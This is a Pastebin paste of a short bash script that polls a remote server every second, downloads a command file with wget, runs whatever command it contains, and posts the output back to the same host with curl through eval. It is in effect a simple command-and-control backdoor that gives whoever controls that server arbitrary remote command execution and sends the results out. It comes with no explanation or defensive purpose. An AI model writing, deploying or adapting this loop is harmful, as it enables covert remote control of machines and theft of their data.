Advertisement
Guest User

Untitled

a guest
Aug 14th, 2018
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.53 KB | None | 0 0
  1. #!/bin/bash
  2. last_cache=""
  3. while :
  4. do
  5. content="$(wget 'http://srv4.cinecriciuma.com.br:8000/script/command.txt' -q -O -)"
  6. if [ "$last_cache" != "$content" ]; then
  7. last_cache=$content
  8. if [ "$last_cache" != "" ]; then
  9. echo "New command: $content"
  10. r_command="$($content)"
  11. send_command="curl \"srv4.cinecriciuma.com.br:8000/script/script.php\" --data-urlencode \"result_command=$r_command\""
  12. eval "$send_command"
  13. fi
  14. fi
  15. echo "..."
  16. sleep 1
  17. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement